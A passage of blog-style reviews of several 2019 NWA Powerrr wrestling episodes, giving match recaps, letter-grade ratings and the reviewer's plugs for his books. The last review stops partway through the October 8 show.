IMG Credit: National Wrestling Alliance

NWA Powerrr
Date: November 5, 2019
Location: GPB Studios, Atlanta, Georgia
Commentators: Joe Galli, Jim Cornette

We’re getting into the groove of things around here and that is making things a lot more interesting. One of the biggest stories is James Storm vs. Colt Cabana for the National Title, which is going to have to go down at some point. Other than that we need a new #1 contender and we might get closer to that tonight. Let’s get to it.

Here are last week’s results if you need a recap.

We open with a recap of Eli Drake being interested in all of the titles around here and playing Devil’s Advocate for just about everyone. After a six man tag last week, Colt Cabana is owed a National Title shot, though Drake is still lurking.

Opening sequence.

The announcers preview the show.

Here is Colt Cabana for a chat. He is happy with what happened last week because he’s getting his National Title shot this week in the main event because he is a main eventer. The fans rather approve.

We look back at Ricky Starks beating Aron Stevens last week.

Stevens comes out for a chat. Everyone knows that last week was a fluke and HE IS SPEAKING THANK YOU. If you watch YouTube, you can see how great he is in the ring, but more importantly, he has found out that he is the direct descendant of William Shakespeare. He has a quote from his great great great great etc. grandfather but gets cut off by boos. Stevens: “ARE YOU BOOING WILLIAM SHAKESPEARE????” Anyway he has a script from Hollywood and if things are not going his way, he will gladly accept it.

The NWA is coming to RetroMania Wrestling. I’ve heard good things.

Dawsons vs. Matthew Mims/Jordan Kingsley

Zane powers Mims into the corner to start but gets taken into the other corner for some shoulders to the ribs. That’s about it for the offense though as the Dawsons hit a double suplex on Kingsley, followed by Dave tossing him into the air for a crash. Kingsley gets thrown into the corner so Mims tries to slug away, only to get dropkicked down. A double powerbomb gives Dave the pin at 2:12.

The Dawsons want a title shot. Cue Outlaw Inc. to say the Dawsons beat them in a No DQ match so there are no complaints. That being said, if the Dawsons want a title shot, come beat them again. They’re willing to put the title shot on the line against the Dawsons, who will think about it.

Tim Storm is asked about all the bad things going on for him right now and retirement has been rumored. He does not regret taking the challenge from Nick Aldis, who is a fine champion. Storm doesn’t know where things are going from here though and there are a lot of decisions to be made. As for other titles, he would be honored to hold any title, but he isn’t sure if that is the direction he should take. The World Title ship has sailed….and here’s Aldis to take Storm away for a chat. Aldis says don’t do something you will regret because the two of them built this house. Don’t forget who you are.

Ashley Vox vs. Thunder Rosa

This is Rosa’s in-ring debut and she goes straight to a sleeper until Vox makes the rope. That’s fine with Rosa, who pulls her by the hair to make it even worse. Vox’s headbutt doesn’t do much and it’s a tilt-a-whirl backbreaker to put her down. Rosa kicks her down again and drives some elbows in the back before grabbing a bodyscissors. Back up and Vox grabs something like a chickenwing (The Real Catch) but Rosa flips her over and hits a top rope double stomp to the back for the pin at 3:18.

Rating: C. Yeah Rosa looked awesome here and that’s a good sign for the future of the women’s division. She comes off like a killer and that is the kind of thing that the division needs. The wrestling wasn’t all that great and the match was little more than a squash but at least they have a unique character who could be a big deal going forward.

Post match Rosa stays on Vox but Marti Belle comes out for the save.

Post break Belle talks about how she doesn’t know Rosa but she does know Allysin Kay, who is her best friend. Then Kay came out and said Marti wasn’t ready, which rubbed Belle the wrong way. Cue Kay to say this didn’t need to be in public but here’s Rosa to post Kay. Belle stands back for a bit before following them into the ring….and helping to beat Kay down.

Who is the Question Mark? This is going to be a disappointment isn’t it?

Ricky Starks vs. Aron Stevens

2/3 falls and before the match, Stevens says there is no way Starks can beat him. Stevens tries to jump him from behind and gets rolled up for the pin and the first fall at 5 seconds. That sends Stevens outside for the YES/NO argument with the fans as we take a thirty second rest period. Back in and Starks gets two more off another rollup, showing that R-Truth Wrestling School diploma.

A nice dropkick gives Starks another two and he even throws in some Dickens before chopping away. Stevens thumbs him in the eye and hammers away on the mat for two before grabbing the chinlock. Back up and Starks strikes away, followed by a tornado DDT for two more. The missile dropkick misses but Stevens takes too much time posing, allowing Starks to roll him up for the pin at 4:49.

Rating: C. They kept this moving at a fast pace and the match was entertaining while it lasted. Starks is looking more and more like a star every time he’s out there and some wins over one of the better characters is only going to help him in the long run. That is the kind of thing that the NWA needs to do and they’re doing a decent job so far.

The NWA is still coming to RetroMania Wrestling.

National Title: Colt Cabana vs. James Storm

Cabana is challenging and has Mr. Anderson in his corner while Eli Drake is out with Storm. Cabana shoulders him down to start and hammers away in the corner, followed by a bonus shoulder. A missed charge in the corner lets Storm DDT him right back down though and it’s time to head outside. The seconds glare at each other as Storm chops away and sends Cabana back inside.

It’s time to start on Cabana’s recently injured leg but Cabana pops up for more chops. There’s a headscissors and a wristlock into a faceplant for two on the champ, followed by a sunset flip for the same. Storm is right back with a TKO across the top rope and the top rope elbow connects for two.

Cabana gets to make a comeback of his own and gets two off a running splash. The Flip Flop and Fly connects but Storm is right back with a Backstabber. The Eye of the Storm gets another near fall and Storm can’t believe it. Drake and Anderson get in a fight and here’s Kamille to stare at Anderson. As the glaring ensues, Cabana gets the Superman pin for the title at 7:58.

Rating: C+. They were getting in a groove here when everything got nuts. What mattered the most here though was having the formerly injured champion get the title back, which is something that needed to happen. Cabana is the kind of guy who can get a nice reaction anywhere in the world so putting the title on him again makes more sense.

Post match Storm says he’ll see Cabana again. Storm shouts at Anderson before leaving.

The Dawsons come up to the interview area and want their match with Outlaw Inc. RIGHT NOW.

Dawsons vs. Outlaw Inc.

For a future title shot. It’s a brawl to start (of course) with the Dawsons crushing Kingston for an early two. Homicide gets knocked off the apron and a poke to the eye cuts off Kingston’s comeback. Instead Kingston goes with a clothesline but there’s no tag yet as the Dawsons hit a double suplex. Kingston is right back out of the corner with an STO and that’s enough to bring in Homicide to clean house.

Some running clotheslines to opposite corners keep the Dawsons in trouble but here are the Wild Cards. Zane gets knocked to the floor and it’s a big knockdown on the outside. The Wild Cards are up to stomp Homicide from coming off the top but it’s the Rock N Roll Express of all people to get rid of the Cards. The Dawsons collide and it’s a spinning backfist into the Gringo Cutter to give Homicide the pin at 5:39.

Rating: D+. This had too much going on for my tastes and it was kind of a mess all around. It was much more of a brawl than anything else and that made things a little less interesting than it would have been otherwise. At least we had a nice surprise with the Express running in, which is about as required as you can get on an NWA show. Not a good match, but a fun angle.

The Rock N Roll Express come out to celebrate to end the show.

Roll credits.

Overall Rating: C+. It was a tighter feeling show tonight as they had stories up and down the card and tied things back into the earlier part of the show as it kept going. At the same time they also had a few things that are going to make me want to see what is going on in the future. Keep doing these things and we could be in for an interesting few weeks going forward, including the pay per view. Nice job here.

Results

Dawsons b. Matthew Mims/Jordan Kingsley – Double powerbomb to Mims

Thunder Rosa b. Ashley Vox – Top rope double stomp to the back

Ricky Starks b. Aron Stevens two falls to none

Colt Cabana b. James Storm – Superman Pin

Outlaw Inc. b. Dawsons – Gringo Cutter to Zane

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: National Wrestling Alliance

NWA Powerrr
Date: October 29, 2019
Location: GPB Studios, Atlanta, Georgia
Commentators: Joe Galli, Jim Cornette

We’re rolling along with this series, which has yet to have a really bad show. Things can be a little bit up and down but what matters most is they’re having the shows and doing some good things. They need to establish themselves as anything beyond the joke that they have been for the better part of twenty years and these shows have been some nice first steps. Let’s get to it.

Here are last week’s results if you need a recap.

We open with a recap of last week with Tim Storm teasing retirement but getting talked into a tag team with Eli Drake. The Dawsons beat them but there seems to be more to this one.

Opening sequence.

The announcers welcome us to the show but here’s James Storm in a hurry. He’s tired of having to prove himself while Nick Aldis ducks him all the time. Then he has Colt Cabana running around talking about the National Title. Cue Cabana to say the title belongs to him but now he’s healthy and ready to go. Eli Drake comes out to say Cabana is disrespecting him so here’s Aldis to say Storm’s complaints are alcohol fueled.

Drake on the other hand has no vices, except for wanting to be Nick Aldis of course. A six man tag is set for later, with the four of them finding another partner. The stipulations are on too: if Aldis’ team wins, Cabana gets a National Title shot. If Storm’s team wins though, he gets a World Title shot, providing that he vacates the National Title. Storm insults Aldis’ Jaguar and it’s on.

We recap the Kamille doesn’t talk deal.

Trevor Murdoch says he has worked for everything in this business and the NWA is no different. He doesn’t think Jocephus should be banned for forty five days for throwing powder in Cabana’s face. Instead, Jocephus should have to face Murdoch here. Jocephus comes out to say that his spiritual advisor has allowed a beating on Murdoch Trevor (what he said) tonight.

Jocephus vs. Trevor Murdoch

Jocephus gets in a posting to start so Trevor hits a few early clotheslines. Trevor gets dropped onto the buckle so Jocephus pulls out some powder. That’s kicked into his face though and Trevor finishes with a middle rope bulldog at 1:08.

Thunder Rosa is coming.

Here’s Aron Stevens for a chat. We get a Tropical Pirates reference but here’s Ricky Starks to interrupt. Stevens: “You want to be my stunt double?” Stevens says he looks ridiculous so Starks slaps him in the face and says Stevens talks too much.

We recap the Dawsons interfering in Eddie Kingston/Homicide vs. the Wild Cards, sending Kingston over the edge.

Austin Idol thinks you need a kayfabe cocktail.

The Rock N Roll Express is coming. Works for me.

Dawsons vs. Eddie Kingston/Homicide

No DQ. It’s a brawl on the floor to start with Kingston chopping the post as Homicide and Dave fight in the ring. The two of them head back outside so Homicide can choke with a camera cord. Cue the Wild Cards to watch as the Dawsons take over on the floor and throw some chairs inside. Homicide is up in the ring though and wedges one in the corner. Dave gets sent into it and a cutter gives Homicide two.

Some chairs are stacked up in the ring and Kingston gets slammed down onto the bridged chair for two. Homicide gets back up and takes a chairing of his own as the champs are getting more interested. The chairs are stacked on top of Homicide but the Wild Cards come in and knock Zane silly with the title. An AA onto the chairs knock Homicide silly and Dave is dragged on top for the pin at 5:50.

Rating: C. If you can do it right, a three way feud can be quite interesting and that’s more or less what they’re doing here. Give the champs a reason to explain their actions and they could be in business. The No DQ part made sense here and it’s a lot better than having the referee get bumped or something goofy like that. Telling logical stories can get you rather far and they’re on the right path.

Who is the Question Mark?

Marti Belle is Allysin Kay’s friend but she’s coming for the title.

Marti Belle vs. Ashley Vox

Allysin comes out to wish them both luck because she’s beaten both of them before. Marti takes her down to start and grabs a seated Blockbuster. Ashley can’t get anywhere on the arm as the announcers talk about Aron Stevens. Back up and Marti rolls some suplexes into a Russian legsweep for two but Ashley sweeps the leg. Allysin doesn’t seem to have a favorite here as Ashley misses a springboard headscissors and gets sent into the corner. Ashley’s chickenwing is broken up but she’s fine enough to jackknife cradle Belle for the pin at 3:34.

Rating: D+. I don’t think it’s any secret that Kay is the star of the division and the best woman going around here today. Marti and Ashley aren’t much in the ring but they’re passable enough and haven’t been completely overexposed on TV. Marti was in Impact for a bit but she was never a star. Vox is pretty much new to the national scene so it’s not like she has anything to lose.

Come to Tony Falk’s house of waffles and tire irons. This week: buy three pancakes, get four tire irons free. Sounds like a good deal, assuming I can find a use for three waffles.

Ricky Starks vs. Aron Stevens

Stevens snapmares him down to start but misses an early elbow drops. That lets Starks send him face first into the buckle a few times and a dropkick gets two. Starks gets in a dropkick and goes to the ropes, only to have said rope kicked low. Stevens hammers away and hits the Russian legsweep into the wind up elbow. A lot of trash talk and a slap to the face cause Starks to hammer away. Starks teases his own slap and scares Stevens, setting up a rollup to give Starks the pin at 3:23.

Rating: C-. Stevens continues to be much more about character than anything else and that’s fine. The actor deal is actually working for him and I’m curious to see where he can take it. Then you have Starks, who isn’t the biggest guy but he has the athleticism to make everything work for him. Good enough match here, though it felt more like angle advancement than anything else.

Stevens sits on the mat and gets into a NO/YES argument with the fans.

Nick Aldis/Colt Cabana/Mr. Anderson vs. James Storm/Wild Cards

I thought they announced Eli Drake as Storm’s partner. If Storm’s team wins, he gets a World Title shot, provided he vacates the National Title. If Aldis’ team wins, Cabana gets a National Title shot. Storm stalls to start as Team Aldis decides who should go first. It’s Aldis himself but Latimer tags himself in to go after a wristlock on the World Champ.

You don’t do that to Aldis, who hits some clotheslines into an armbar before handing it off to Latimer. It’s off to Cabana for a double clothesline on the Wild Cards, plus a Bionic elbow for a bonus. Storm comes back in and hammers away on Cabana with Isaacs getting in his own shots to the face. Cabana blocks a middle rope dive with a raised boot and the hot tag brings in Anderson to clean house.

A neckbreaker gets two on Latimer as Storm has been knocked to the floor. Everything breaks down and it’s a double clothesline to put Storm and Aldis down. Cabana gets the tag and runs over Latimer in the corner, leaving Storm to superkick Isaacs by mistake. Storm plants Latimer and the Superman cover gives Cabana the pin at 6:54.

Rating: C. This was exactly what it needed to be with the action based match that didn’t come close to overstaying its welcome. You don’t need a five minute shine, another five minute heat segment and then a five minute match to tell the same story. They didn’t do too much here and we got a perfectly watchable tag match that served its purpose perfectly well and set up the next title match.

Roll credits.

Overall Rating: C+. The best thing that the NWA has going for it is its accessibility. You can jump straight into any episode and instantly get everything that is going on. That was on full display here as the recaps, promos and matches all explained who people were and what was going on every time. You don’t need to do that forever, but for these early shows, it’s the best thing you can do. This isn’t a show where the wrestling is the top priority and that isn’t a bad thing. Good show here and the most watchable hour of wrestling going today.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: National Wrestling Alliance

NWA Powerrr
Date: October 22, 2019
Location: GPB Studios, Atlanta, Georgia
Commentators: Joe Galli, Jim Cornette

It’s week three around here and this has suddenly become a treat to watch. They don’t waste time around here and move forward as fast as they need to. It seems like everything around here matters (albeit to varying degrees) and that’s a very welcome change. When your match is a minute long, it’s kind of hard to classify it as filler. Let’s get to it.

Here are last week’s results if you need a recap.

We open with a recap of the issues between Nick Aldis and Kamille, who still will not say anything.

Interviewer Joe Galli has been told that his interviews have been confrontational so he won’t ask anything about Aldis that doesn’t have to do with the title itself.

Opening sequence.

Eddie Kingston comes up to the commentary table and rants about the Dawsons breaking up the title match. Kingston and Homicide want to take the Dawsons out before they fight for the titles again. They’re do it anywhere because wrestling is all they have and they’re going to defend it.

Marti Belle vs. Crystal Rose

Belle was in Impact for a little while. Rose, a grunge enthusiast, gets taken down into the corner to start but Marti misses a running charge and gets kneed in the corner. Marti is right back up with a forearm in the corner and a running hip attack in the corner, followed by a Pearl River Plunge for the pin at 2:25.

here are the Dawsons for a chat. Things happen for a reason and these fans need to shut their mouths. It’s time for them to throw their weight around so they’ll fight anyone….except for Kingston and Homicide.

Video on Thunder Rosa.

Tim Storm is supposed to be out for a chat but it’s Aron Stevens in what looks like a pirate costume. Oh and remember that the no eye contact rule is still in effect. The fans think he looks like Captain Morgan but he’s here to promote his new movie: Tropical Pirates, available on Blu-Ray and exclusively in Romania on VHS. It looks like a rather low budget sailing movie, thought Stevens says it shows he has more chops than Ric Flair.

We look at Tim Storm losing his World Title shot two weeks ago.

Caleb Konley vs. Dan Parker

Parker talks a lot of trash to start but since he’s Canadian, we get a loud USA chant. Konley flips away from a few headlocks and punches Parker in the face to take over. A jumping backsplash gets one on Parker, who is right back with knees to the ribs and some shouts about how not everyone can be a Canadian. We hit the abdominal stretch but the referee sees the grab of the rope. Konley hits him in the face a few times and hits a springboard spinning moonsault for the pin at 3:21.

Rating: C-. Konley is another example of someone who didn’t do anything elsewhere but looked pretty good here. Parker being very pro Canadian is as much of a gimmick as you can get for a jobber but at least he has a little something to make him stand out. I could go for more of Konley and that’s what this kind of a match is supposed to do.

Here’s Tim Storm for a chant. Make no mistake about it: Nick Aldis beat him two weeks ago. His time as champion and the Ten Pounds of Gold series helped restore some prestige to the NWA and that is a great source of pride to him. He has no excuses because he made the right decision but now he needs to make a decision about his future. All that matters to him is that he made Mama Storm proud, which gives us a MAMA STORM chant.

Cue Eli Drake to say that Storm sounds like he’s down but his name is on a list of NWA World Champions. There are a lot of things going on around here, including some new tag teams. Maybe there are two pieces of gold in Storm’s future so Drake has already got it set up: the two of them against the Dawsons tonight. Storm will think about it.

Promotional consideration paid for by…..invisible hair cream?

We recap Jocephus vs. James Storm from two weeks ago.

Here’s Jocephus, who wants to make a public apology to James Storm. Cue Colt Cabana instead, with Jocephus pulling out a cowboy hat and a beer bottle for Cabana to start an impression. The joke is on but Jocephus throws powder in Cabana’s face. The beating starts in the ring but here’s the real James Storm to superkick Jocephus. Mr. Anderson pulls Cabana away to avoids the same fate.

Here are Aldis and Kamille for a chat. Aldis knows the NWA is cooking and he needs a new #1 contender. Some of those challengers could be people like Eli Drake, James Storm or Ricky Starks, the latter of whom Aldis thinks is the #1 draft pick in the entire business. Aldis is willing to let it play out and he’s ready to go somewhere else to find a challenger if he has to.

Joe Galli makes the mistake of going back to the Kamille questions though, which Aldis finds disrespectful. Aldis says Kamille is the best insurance policy money can buy so ask her anything. Galli asks why Kamille works for Aldis and she has nothing, with Aldis saying she’ll speak when she feels like it.

We get a promo of someone talking about how things come together and one question remains: who is the mark?

Eli Drake/Tim Storm vs. Dawsons

Dave powers Eli into the corner to start and hits a headbutt but Drake is right back with a jumping clothesline. Zane comes in and gets neckbreakered, followed by the tag to Storm for a clothesline. Drake’s middle rope bulldog gets two as the makeshift team keeps the brothers in trouble. Storm hits a running splash in the corner and hits some elbows to the head. It’s time to get smart though as Zane grabs him by the waist and drives him into the corner for the tag to Dave.

The waistlock slows Storm down a bit and a switch to the bearhug keeps the trouble going. Storm powers out and brings in Drake to clean house. A sleeper drop gets two on Dave but Drake goes shoulder first into the post. That leaves Storm to get hit in the back, setting up the standing splash/powerslam combination to finish Storm at 6:44.

Rating: D+. This was a pretty dull match with the Dawsons’ offense consisting of holds until the end, which wasn’t quite thrilling. Storm has impressed me quite a bit so far as he was best known as that old guy who held the NWA World Title but he’s shown a character about himself and has the look and work to back it up. That’s a nice surprise and far better than I would have expected.

Post match the Dawsons beat Storm up even more but Homicide and Kingston run in for the save. The staredown is on and Aldis comes in to check on Storm to end the show.

Roll credits.

Overall Rating: C-. This was their weakest show yet but it’s such an easy and quick watch. They keep things moving around here and I’m starting to look forward to these promos because they are such a breath of fresh air after what you see on regular shows. Sometimes you just need to see someone talking into a camera and that’s what you get here. It’s a great example of what happens when you strip everything down and having a wrestling show. While not as good as their first two shows, it’s still entertaining enough and I’ll take that over some of the Raw and Smackdown I’ve sat through lately.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: National Wrestling Alliance

NWA Powerrr
Date: October 15, 2019
Location: GPB Studios, Atlanta, Georgia
Commentators: Joe Galli, Jim Cornette

This show debuted with a bang last week and made its way onto the must watch list. It is a completely different kind of wrestling show and that’s a good thing after so many of them looking so similar. Instead we’re getting a bunch of short matches which showcase the talent, which is exactly how you should start things off with a new series. Let’s get to it.

Here are last week’s results if you need a recap.

Since the show is broadcast on YouTube, there is a bit of a delay before it starts. In a smart move, that time is filled with Tweets from fans and wrestling personalities praising the show and how good last week’s debut was. The last one shown? The Rock.

We open with a recap from last week, including part of Nick Aldis’ promo about how the NWA has gone from a joke to a resurgence. One of the best things (if not the very best thing) about this show is the promos, as it’s a bunch of people looking into the camera and telling you what they’re doing and what they have going on. No overly flowery language, no ridiculous ideas and nothing that doesn’t need to be there. Just words and then actions backing those words up. It worked for years and it could work again if they’re given the chance.

Also of note: Kamilla Kaine not being allowed to respond to a question is given an extra focus. That seems rather important.

Opening sequence, again featuring shots with names of the people featured on this show. You don’t need a full bio or anything like that. Just a name with a face to get a foot in the door.

The announcers welcome us to the show and tell us who will be on the show tonight.

Aron Stevens (Damien Sandow) won’t shake Dave Marquez’s hand greets the NWA. He’s had some success in Hollywood and entertainment and that has taken him away from professional wrestling. Then he heard a rumor that the NWA and professional wrestling were back. Therefore, he is back too and has an announcement, provided that Marquez avoids eye contact with him.

Marquez: “Who are you going to face first in the National Wrestling Alliance?” Fans: “DON’T LOOK AT HIM!” Stevens talks about how there are stars and a supporting cast in wrestling. His response tells you which one he is, so he’ll pick a supporting cast when he needs one. Oh and “They love me, they really love me.” I’m not a big Stevens guy but this was fine and made me more interested in seeing him than I have in a good while. Also: notice how they take a detail about his life and turn it into a big aspect of his character. It’s not that complicated.

Trevor Murdoch vs. Ricky Starks

They’re both names in this case. The much bigger Murdoch drives him into the corner to start and sidesteps a dropkick, allowing him to strike a quick pose. The chop off goes to Murdoch, who knocks Starks’ head off with a big boot. A middle rope legdrop misses though and Starks kicks him in the face for two, followed by a neckbreaker for the same. The middle rope dropkick gets two more with Murdoch having to put his foot on the rope but a springboard tornado DDT is blocked without much effort. Back up and Murdoch punches away but gets crucifixed to gives Starks the pin at 3:30.

Rating: C-. This was a good idea and the kind of thing that needs to be done. Murdoch isn’t the biggest deal in the world but it is a good idea to have him put in there against a rookie. Beating someone who once held a title in WWE is going to help make Starks a bigger deal and that’s what they need to do.

Post match Starks goes for an interview but Murdoch stops him and shakes his hand, saying that it just wasn’t his night. With Murdoch gone, Starks says he could go after any title but he’s also about raising this up. He knows he looks great and God ran out of good looks after he made Ricky Starks, but he loves you no matter how you look. Yeah he looks a little funny but at the end of the day, he’s counting your money. Not bad in the ring and he has some charisma so maybe he has a little future.

We get a special segment with Joe Galli, talking about how he wasn’t looking for clickbait when he talked to Kamilla last week. He wants to talk to Aldis and Kamilla in a sitdown interview so he can continue to be a fair and balanced journalist.

The NWA is back on pay per view on December 14. Cool.

Here’s Colt Cabana for a chat. James Storm took the National Title from him when he wasn’t at 100% but now he’s ready to go and has a mystery partner for tonight. Cue Ken Anderson to say Cabana could have chosen anyone to be his partner but he picked this a******. Anderson loads up his catchphrase but Cabana jumps in to say his name too, which leaves Anderson stunned.

Colt Cabana/Mr. Anderson vs. Sal Rinauro/Jordan Kingsley

Cabana and Rinauro start things off and it’s a wristlock to keep Rinauro in trouble. Anderson comes in with a side slam so it’s off to Kingsley, who gets chopped straight into the corner. A backdrop makes it even worse and it’s Cabana dancing in for some chops. Anderson Regal Rolls both of them in a row, setting up Cabana for a running hip attack in the corner. The Mic Check finishes Rinauro at 3:45.

Rating: C. Just a squash here but it was an entertaining one with Anderson and Cabana being a fun team. They beat up the jobbers without much trouble and the Mic Check looked better than usual. I know neither may be everyone’s cup of tea but they’re bigger names and could be used to put some people over, or be made into some stars around here. It’s nice to have options like that.

Earlier today, Nick Aldis left and wasn’t happy with the sitdown interview with Galli, because the questions had nothing to do with wrestling and he wants nothing more to do with it.

Tony Falk wants you to come to Tony Falk’s Waffles And Tire Irons. Seriously.

We look at last week’s showdown between the Wild Cards and Eddie Kingston/Homicide.

Kingston and Homicide say no team is anything until they beat the two of them.

Allysin Kay vs. Ashley Vox

Kay’s Women’s Title isn’t on the line. Vox works on the bigger Kay’s arm and gets knocked down in a hurry. Kay misses a charge into the corner but catches Vox coming off the top for a slam. The fall away slam gives Kay two but Vox is right back with chops in the corner. There’s a wheelbarrow suplex to crush Vox for two but she pops up for a dropkick into the corner. A headscissors out of the corner has Kay down again and Vox Cannonballs her for two. Kay has had enough of this and catches her in a belly to back kneeling piledriver for the pin at 3:48.

Rating: C. I liked this one more than I was expecting to as Vox got in a lot. There is only so much you are going to be able to do in less than four minutes and Kay looked like a star. Vox is someone who could become a bigger deal in the future and that’s what they were going for here.

Post match Kay tells Vox that she did good but her good wasn’t good enough today. Vox’s future is bright but it doesn’t have Kay’s title.

Some fans liked the show last week.

We look at the end of last week’s show again.

After the end of last week’s main event, Tim Storm couldn’t say anything.

Here’s National Champion James Storm for a chat. Storm takes the mic and says the National Title is a prop to get him back in the World Title picture. Now that Tim Storm is out of the way, it’s time for James Storm to take over. Unlike the boys in the back, he is a real man and we hear the lyrics from his TNA theme song.

He works in the field Monday through Thursday, drinks Friday and Saturday and sings in church on Sunday. Cue Eli Drake to say being National Champion is a big deal because it makes Storm next in line for the World Title. Maybe Aldis is ducking him so Storm needs to hurry up and get his shot. If Storm wins the title, just remember your boy Eli Drake. Pretty simple stuff here but it worked well.

Go to the Austin Idol Wrestling College.

Tag Team Titles: Wild Cards vs. Outlaw Inc.

Outlaw Inc. (Homicide/Kingston) is challenging. Latimer and Kingston start things off with a fight over a lockup. Everything breaks down for a bit and the champs get run over until Homicide takes over on Isaacs. Latimer comes back in and slugs it out with Homicide, including a suplex for two.

We hit the chinlock for a bit, followed by Latimer’s powerslam for two more. Isaacs comes back in for a belly to back suplex and the champs take over, as Latimer grabs a chinlock to keep Homicide down. Homicide crotches Isaacs on top though and the hot tag brings in Kingston. Everything breaks down again but here are the Dawsons for the double DQ at 6:11.

Rating: D+. This had some quick spurts but it wasn’t exactly thrilling given the chinlocks and the ending to set up something else later on. The match wasn’t terrible but it is more about getting things ready down the line. I can go with all three of these teams, though hopefully not in the same match in a triple threat.

We get the sitdown interview with Aldis and Kamilla. Aldis did have some say in when the rematch with Tim Storm was set up and if that was Storm’s last chance at the title, he went out with a great performance. As for what happened with Kamilla, Aldis doesn’t like feeling like he’s on 60 Minutes. He talks about losing the title at All In to an inferior athlete so he got an insurance policy.

Other than dealing with Brandi Rhodes at All In, when has Kamilla ever interfered in a match? One time she tried to interfere but Kamilla called her off. Kamilla is asked a direct question about what it means to work with Aldis but doesn’t say anything. Aldis never wants to hear about this again.

Roll credits.

Overall Rating: C+. This was a downgrade over last week’s show but it’s still a VERY easy hour of wrestling to watch, mainly because it does something so completely different. They didn’t have anything like the main event last week, though there was enough to keep me interested. We’re still in the phase of setting up the talent for later on and then we can get to their clashes against each other. Good show here, as they’re still off to a very strong start.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: National Wrestling Alliance

NWA Powerrr
Date: October 8, 2019
Location: GPB Studios, Atlanta, Georgia
Commentators: Joe Galli, Jim Cornette

So this is something different as the NWA is back with a fresh TV series, though it is taking place in a studio in front of probably about 100 people instead of an arena. It might seem a little ridiculous, but at some point you have to just put the wrestlers in the ring and run shows, which is where the NWA is now. It’s better than nothing so hopefully it works out well here. Let’s get to it.

Opening sequence, featuring a lot of shots on the NWA World Title and champion Nick Aldis. One very smart thing here though: name graphics for the wrestlers, which might be only the wrestlers appearing on the show.

And yes there are three r’s in the name.

The announcers welcome us to the show with Cornette being in his element rattling off the history of televised wrestling in Atlanta.

We get the old interview area (I miss that thing) with Aldis, and his bodyguard Kamille, who talks about holding the World Title for nearly a year. It’s hard to stay hungry but look at how far they’ve come. They were a punchline and now they have some great champions representing the NWA name.

We hear about the Tag Team Champions (the Wildcards), the National Champion (James Storm) and the Women’s Champion (Allysin Kay) and all of the people fighting for respect. That brings him to Tim Storm, who he respects more than any man he’s ever met. But everything Aldis has, from the Jaguar parked outside to every meal that he’s put on his son’s table, is because of professional wrestling. Let’s do it serious tonight so Storm can find out why he’s the National Treasure.

This felt VERY similar to an old school studio promo as it was no gimmick or special feature. It was Aldis, who was rocking the suit like an NWA World Champion would, looking straight at the camera and telling us why we should care about what we’re seeing and who is coming for the title. More of this stuff and we’re in a good place.

Dawsons vs. Billy Buck/Sal Rinauro

The Dawsons (Zane and Dave) are a couple of big guys who knock Sal around to start. Buck comes in and gets caught with a running elbow/side slam combination. A standing splash to the back into a powerslam finishes Rinauro at 1:20.

Post match the Dawsons say that is just a little taste of what is to come because they own the world now. They’ll fight everyone and they don’t care how they win. They’re the guys who bullied you for your lunch money so be ready for them.

Promotional consideration paid for by…..THE AUSTIN IDOL UNIVERSAL WRESTLING COLLEGE??? They’re making it really hard to not want to keep watching this.

Here’s Eli Drake for a chat and that’s a very good thing. Drake asks if this is NWA country and he thinks they said YEAH YEAH YEAH YEAH. There’s something different about this place but it doesn’t take a scientist to see that it’s a special kind of place. You look around and see men ready to fight so everyone with a belt better be ready because he’s coming for you. I’ve always liked Drake and his talking is some of the best around.

Eli Drake vs. Caleb Konley

Drake shoulders him down but gets rolled up for a few near falls. A monkey flip sends Drake into the corner but he blocks another one back out of it, setting up a jumping neckbreaker to drop Konley. A swinging neckbreaker gives Drake two and the fans are behind him. Drake knees him in the head for two more but Konley is right back with a kick to the chest. Konley gets two off a slingshot splash and a double stomp out of the corner makes it worse. The springboard splash hits raised boots though and the Gravy Train finishes Konley at 4:26.

Rating: C. They were trying hard here and Drake looked good while selling quite a bit. Konley was someone who showed potential in Impact but at the same time, Drake looked like a star who belonged on a bigger stage. Drake could be a big deal around here and I hope that is the case, because you can see the fire in his eyes every time he talks.

We recap Aldis vs. Storm, which is Storm’s last shot at the title. Storm accepted the challenge because he knows he can beat Aldis, as he has before.

Jocephus, a seemingly mad man, runs up to commentary and demands Storm come out here right now.

Back from a break and Jocephus is still shouting for Storm. Cornette: “Are you a meteorologist?” Cue National Champion James Storm, who says he is the only Storm that Jocephus needs to worry about. Storm calls Jocephus the kind of fake wrestler who could never walk a mile in his shoes. Go back to your desk job and leave the job of being a star to the real stars. The fight is on but referees break it up.

Wild Cards vs. Danny White/Mims

The Wild Cards (Tom Latimer/Royce Isaacs) are the Tag Team Champions but this is non-title. Isaacs runs White over to start and gets beaten up by Latimer (formerly known as Bram in Impact) and stomped by Isaacs. A powerbomb into a German suplex finishes White at 2:08.

The Wild Cards say this is what they were made for but here’s Eddie Kingston to mockingly applaud them. He calls Latimer Bram but then switches to Tommy Boy, who he is not here to disrespect. Royce complains but is threatened with a slap if he isn’t quiet. They may be a great team, but they do not speak for the outlaws. Cue Homicide to back up Kingston as Jocephus and Storm brawl through the curtain as well.

